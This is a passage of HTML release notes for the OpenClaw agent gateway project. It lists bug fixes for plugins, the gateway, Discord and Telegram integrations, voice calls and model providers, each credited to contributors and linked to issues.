<p>Plugins/CLI: cache plugin CLI registration entries per command program so completion state generation does not repeat the full plugin sweep in one invocation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ScientificProgrammer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ScientificProgrammer">@ScientificProgrammer</a>.</p>
</li>
<li>
<p>Plugins: reuse gateway-bindable plugin loader cache entries for later default-mode loads without serving default-built registries to gateway-bound requests, reducing repeated plugin registration during dispatch. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4210492312" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61756" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61756/hovercard" href="https://github.com/openclaw/openclaw/issues/61756">#61756</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DmitryPogodaev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DmitryPogodaev">@DmitryPogodaev</a>.</p>
</li>
<li>
<p>Gateway/secrets: include the caught error message in <code>secrets.reload</code> and <code>secrets.resolve</code> warning logs while keeping RPC errors generic, so operators can diagnose reload and permission failures. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidangularme/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidangularme">@davidangularme</a>.</p>
</li>
<li>
<p>Providers/OpenRouter: fill DeepSeek V4 <code>reasoning_content</code> replay placeholders for <code>openrouter/deepseek/deepseek-v4-flash</code> and <code>openrouter/deepseek/deepseek-v4-pro</code>, so thinking/tool follow-up turns do not fail with DeepSeek's replay-shape error. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368552053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76018" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76018/hovercard" href="https://github.com/openclaw/openclaw/issues/76018">#76018</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cloph-dsp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cloph-dsp">@cloph-dsp</a>.</p>
</li>
<li>
<p>Anthropic-compatible streams: recover text deltas that arrive before their matching content block, so Kimi Code and similar providers do not finish as empty <code>incomplete_result</code> replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368472046" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76007" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76007/hovercard" href="https://github.com/openclaw/openclaw/issues/76007">#76007</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vliuyt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vliuyt">@vliuyt</a>.</p>
</li>
<li>
<p>fix(infra): block workspace state-directory env override [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367841633" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75940" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75940/hovercard" href="https://github.com/openclaw/openclaw/pull/75940">#75940</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</p>
</li>
<li>
<p>MCP/OpenAI: normalize parameter-free tool schemas whose top-level object <code>properties</code> is missing, null, or invalid before sending tools to OpenAI, so MCP tools without params stay usable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362431372" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75362" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75362/hovercard" href="https://github.com/openclaw/openclaw/issues/75362">#75362</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tolkonepiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tolkonepiu">@tolkonepiu</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</p>
</li>
<li>
<p>TTS: honor explicit short <code>[[tts:text]]...[[/tts:text]]</code> blocks while keeping untagged short auto-TTS suppressed, so tagged voice replies are synthesized instead of being dropped as empty voice-only payloads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345594550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73758" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73758/hovercard" href="https://github.com/openclaw/openclaw/issues/73758">#73758</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yfge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yfge">@yfge</a>.</p>
</li>
<li>
<p>Hooks/doctor: warn when <code>hooks.transformsDir</code> points outside the canonical hooks transform directory, so invalid workspace skill paths get a direct recovery hint before the Gateway crash-loops. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367117797" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75853" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75853/hovercard" href="https://github.com/openclaw/openclaw/issues/75853">#75853</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/midobk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/midobk">@midobk</a>.</p>
</li>
<li>
<p>Proxy/audio: convert standard <code>FormData</code> bodies before proxy-backed undici fetches, so audio transcription and multipart uploads no longer send <code>[object FormData]</code> when <code>HTTP_PROXY</code> or <code>HTTPS_PROXY</code> is configured. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4085311223" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48554" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48554/hovercard" href="https://github.com/openclaw/openclaw/issues/48554">#48554</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dco5/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dco5">@dco5</a>.</p>
</li>
<li>
<p>Discord: allow explicitly configured ack reactions in tool-only guild channels while keeping automatic lifecycle/status reactions suppressed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355990759" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74922" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74922/hovercard" href="https://github.com/openclaw/openclaw/issues/74922">#74922</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samvilian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samvilian">@samvilian</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlueBirdBack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlueBirdBack">@BlueBirdBack</a>.</p>
</li>
<li>
<p>Discord: enable session-backed A2A announce target lookup so <code>sessions_send</code> uses the target session's <code>deliveryContext.accountId</code> or <code>lastAccountId</code> instead of falling back to the default bot in multi-account setups. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4055175543" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42652/hovercard" href="https://github.com/openclaw/openclaw/issues/42652">#42652</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4112523352" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51626" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51626/hovercard" href="https://github.com/openclaw/openclaw/issues/51626">#51626</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4069301815" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/44773/hovercard" href="https://github.com/openclaw/openclaw/pull/44773">#44773</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347442555" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73975" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73975/hovercard" href="https://github.com/openclaw/openclaw/pull/73975">#73975</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/irchelper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/irchelper">@irchelper</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dpalfox/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dpalfox">@dpalfox</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lanfei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lanfei">@Lanfei</a>.</p>
</li>
<li>
<p>Discord/setup: write resolved guild/channel allowlist selections to the selected guild and channel instead of falling back to the wildcard guild during setup. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4079837629" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47788" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/47788/hovercard" href="https://github.com/openclaw/openclaw/pull/47788">#47788</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Eldersonar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Eldersonar">@Eldersonar</a>.</p>
</li>
<li>
<p>Discord: treat abort-time Carbon reconnect-exhausted events as expected shutdown during stale-socket restarts, so health-monitor restarts no longer reject the monitor lifecycle. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4176861539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58216" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58216/hovercard" href="https://github.com/openclaw/openclaw/pull/58216">#58216</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347363347" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73949" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73949/hovercard" href="https://github.com/openclaw/openclaw/pull/73949">#73949</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Perttulands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Perttulands">@Perttulands</a>.</p>
</li>
<li>
<p>Discord/native commands: return an explicit warning when slash command dispatch or direct plugin execution produces no visible reply instead of a success-style completion ack. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4186301600" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58986" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58986/hovercard" href="https://github.com/openclaw/openclaw/issues/58986">#58986</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4213236198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62057" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62057/hovercard" href="https://github.com/openclaw/openclaw/pull/62057">#62057</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jb510/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jb510">@jb510</a>.</p>
</li>
<li>
<p>Discord: keep typing indicators alive during long tool runs and auto-compaction while keepalive ticks continue, so active sessions do not appear stalled before the final reply. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Squirbie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Squirbie">@Squirbie</a>.</p>
</li>
<li>
<p>Discord: preserve multipart Content-Type headers for attachment uploads across REST fetch paths, so generated images and other media no longer fail delivery with <code>CONTENT_TYPE_INVALID</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FunJim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FunJim">@FunJim</a>.</p>
</li>
<li>
<p>Discord: preserve attachment and sticker filenames when saving inbound media, so agents can see human-readable file names instead of only UUID-based paths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4195120978" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59744" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59744/hovercard" href="https://github.com/openclaw/openclaw/issues/59744">#59744</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xela92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xela92">@xela92</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rockcent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rockcent">@rockcent</a>.</p>
</li>
<li>
<p>Discord: preserve non-ASCII channel names in session display labels while keeping allowlist matching on the existing ASCII slug contract. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swjeong9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swjeong9">@swjeong9</a>.</p>
</li>
<li>
<p>Discord/PluralKit: canonicalize proxied webhook turns to the original Discord message id for inbound dedupe, while preserving the proxy message id for reply routing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/acgh213/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/acgh213">@acgh213</a>.</p>
</li>
<li>
<p>Discord: only inject thread starter context on the first turn of the effective thread session, so follow-up thread replies do not repeat the starter block. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4047195697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41355" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41355/hovercard" href="https://github.com/openclaw/openclaw/issues/41355">#41355</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4067889287" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44447" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44447/hovercard" href="https://github.com/openclaw/openclaw/issues/44447">#44447</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4067894290" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44449" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44449/hovercard" href="https://github.com/openclaw/openclaw/issues/44449">#44449</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/p3nchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/p3nchan">@p3nchan</a>.</p>
</li>
<li>
<p>Discord: resolve thread <code>ownerId</code> and <code>parentId</code> from Discord API-style snake_case payload fields, so bot-owned autoThreads do not require unnecessary mentions. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mgh3326/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mgh3326">@mgh3326</a>.</p>
</li>
<li>
<p>Gateway/diagnostics: include a bounded redacted startup error message in stability bundles, so crash-loop reports identify the failing plugin or contract without exposing secrets. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366332404" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75797" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75797/hovercard" href="https://github.com/openclaw/openclaw/issues/75797">#75797</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ymebosma/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ymebosma">@ymebosma</a>.</p>
</li>
<li>
<p>Gateway/pricing: defer optional model pricing catalog refresh until after sidecars and channels reach the ready path, so slow OpenRouter or LiteLLM pricing fetches cannot block Gateway readiness. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348322680" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74128" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74128/hovercard" href="https://github.com/openclaw/openclaw/issues/74128">#74128</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342339751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73486" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73486/hovercard" href="https://github.com/openclaw/openclaw/pull/73486">#73486</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ctbritt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ctbritt">@ctbritt</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alprclbi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alprclbi">@alprclbi</a>.</p>
</li>
<li>
<p>Gateway/pricing: abort in-flight model pricing catalog fetches when Gateway shutdown stops the refresh loop, and avoid post-stop cache writes or refresh timers. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331072247" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72208" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72208/hovercard" href="https://github.com/openclaw/openclaw/issues/72208">#72208</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rzcq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rzcq">@rzcq</a>.</p>
</li>
<li>
<p>Codex/app-server: make startup retry cleanup ownership-aware so concurrent Codex lanes cannot close another lane's freshly restarted shared app-server client. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Google Meet/Twilio: report missing dial-in details during setup and explain that Twilio cannot join Meet URLs without a phone dial plan.</p>
</li>
<li>
<p>Google Meet/Twilio: start the phone leg before sending Meet PIN DTMF, delay intro speech until after the post-connect dial sequence, and log each stage so operators can tell Twilio-leg audio from Meet-room audio.</p>
</li>
<li>
<p>Voice Call: accept provider call IDs for gateway speak/continue requests and report ended-call state from history instead of returning a generic "Call not found" for stale calls.</p>
</li>
<li>
<p>Control UI/Talk: allow the OpenAI Realtime WebRTC offer endpoint through the Control UI CSP, configure browser sessions with explicit VAD/transcription input settings, and surface OpenAI realtime error/lifecycle events instead of leaving Talk stuck as live with no diagnostic. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341743461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73427" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73427/hovercard" href="https://github.com/openclaw/openclaw/issues/73427">#73427</a>.</p>
</li>
<li>
<p>Plugins: clarify config-selected duplicate plugin override diagnostics and document manifest schema updates for bundled-plugin forks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3894832647" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/8582" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/8582/hovercard" href="https://github.com/openclaw/openclaw/issues/8582">#8582</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sachah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sachah">@sachah</a>.</p>
</li>
<li>
<p>CLI backends/Claude: make live-session JSONL turn caps bounded and configurable via <code>reliability.outputLimits</code>, raising the default guard for tool-heavy Claude CLI turns while preserving memory limits. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367015166" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75838" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75838/hovercard" href="https://github.com/openclaw/openclaw/issues/75838">#75838</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hcordoba840/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hcordoba840">@hcordoba840</a>.</p>
</li>
<li>
<p>Telegram/DMs: keep incidental <code>message_thread_id</code> reply-with-quote metadata on the flat DM session by default while preserving opt-in DM topic isolation for configured topics, <code>dm.threadReplies</code>, and <code>direct.&lt;chatId&gt;.threadReplies</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368172291" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75975" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75975/hovercard" href="https://github.com/openclaw/openclaw/issues/75975">#75975</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProjectEvolutionEVE/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProjectEvolutionEVE">@ProjectEvolutionEVE</a>.</p>
</li>
<li>
<p>Telegram/network: raise outbound text and typing Bot API request guards to 60 seconds, keep low grammY client timeouts from preempting those guards, let higher <code>timeoutSeconds</code> configs extend safe method guards, and retry timed-out typing indicators through the transport fallback without risking duplicate messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368500963" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76013" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76013/hovercard" href="https://github.com/openclaw/openclaw/issues/76013">#76013</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iaki1206/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iaki1206">@iaki1206</a>.</p>
</li>
<li>
<p>Telegram/native commands: register and clear command menus in both default and group-chat scopes, so <code>/status</code> and plugin commands stay available in forum topics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347610813" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74032" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74032/hovercard" href="https://github.com/openclaw/openclaw/issues/74032">#74032</a>; updates <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3882532827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/6457" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/6457/hovercard" href="https://github.com/openclaw/openclaw/pull/6457">#6457</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dae-sun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dae-sun">@dae-sun</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WouldenShyp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WouldenShyp">@WouldenShyp</a>.</p>
</li>
<li>
<p>Providers/OpenAI: resolve <code>keychain:&lt;service&gt;:&lt;account&gt;</code> <code>OPENAI_API_KEY</code> refs before creating OpenAI Realtime browser sessions or voice bridges, with a bounded cached Keychain lookup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330678787" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72120" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72120/hovercard" href="https://github.com/openclaw/openclaw/issues/72120">#72120</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ctbritt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ctbritt">@ctbritt</a>.</p>
</li>
<li>
<p>Discord/gateway: reconnect when the gateway socket closes while waiting for the shared IDENTIFY concurrency window, instead of silently skipping IDENTIFY and leaving the bot online but unresponsive. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353606299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74617" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74617/hovercard" href="https://github.com/openclaw/openclaw/issues/74617">#74617</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeeskdr-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeeskdr-ai">@zeeskdr-ai</a>.</p>
</li>
<li>
<p>Voice Call: add <code>sessionScope: "per-call"</code> for fresh per-call agent memory while preserving the default per-phone caller history. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4072126400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45280" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45280/hovercard" href="https://github.com/openclaw/openclaw/issues/45280">#45280</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pondcountry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pondcountry">@pondcountry</a>.</p>
</li>
<li>
<p>Music generation: raise too-small tool timeouts to the provider-safe 10-second floor and collapse cascading abort fallback errors into a clearer root-cause summary. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Memory-core/dreaming: include the primary runtime workspace in multi-agent dreaming sweeps without mixing main-agent session transcripts into configured subagent workspaces. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4307075727" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70014/hovercard" href="https://github.com/openclaw/openclaw/issues/70014">#70014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ttomiczek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ttomiczek">@ttomiczek</a>.</p>
</li>
<li>
<p>Control UI: add tab/RPC timing attribution and decouple slow Overview/Cron secondary refreshes so Sessions navigation gets immediate visible feedback. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4235854543" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64004" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64004/hovercard" href="https://github.com/openclaw/openclaw/issues/64004">#64004</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WaMaSeDu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WaMaSeDu">@WaMaSeDu</a>.</p>
</li>
<li>
<p>Memory: retry transient SQLite index file swaps during atomic reindex on Windows, so brief <code>EBUSY</code>, <code>EPERM</code>, or <code>EACCES</code> locks do not fail memory rebuilds. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4237587612" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64187" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64187/hovercard" href="https://github.com/openclaw/openclaw/issues/64187">#64187</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kunpeng-ai-lab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kunpeng-ai-lab">@kunpeng-ai-lab</a>.</p>
</li>
<li>
<p>Telegram/startup: use the existing <code>getMe</code> request guard for the gateway bot probe instead of a fixed 2.5-second budget, and honor higher <code>timeoutSeconds</code> configs for slow Telegram API paths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366123141" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75783" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75783/hovercard" href="https://github.com/openclaw/openclaw/issues/75783">#75783</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tankotan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tankotan">@tankotan</a>.</p>
</li>
<li>
<p>Telegram/models: make model picker confirmations say selections are session-scoped and do not change the agent's persistent default. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368057405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75965" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75965/hovercard" href="https://github.com/openclaw/openclaw/issues/75965">#75965</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sd1114820/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sd1114820">@sd1114820</a>.</p>
</li>
<li>
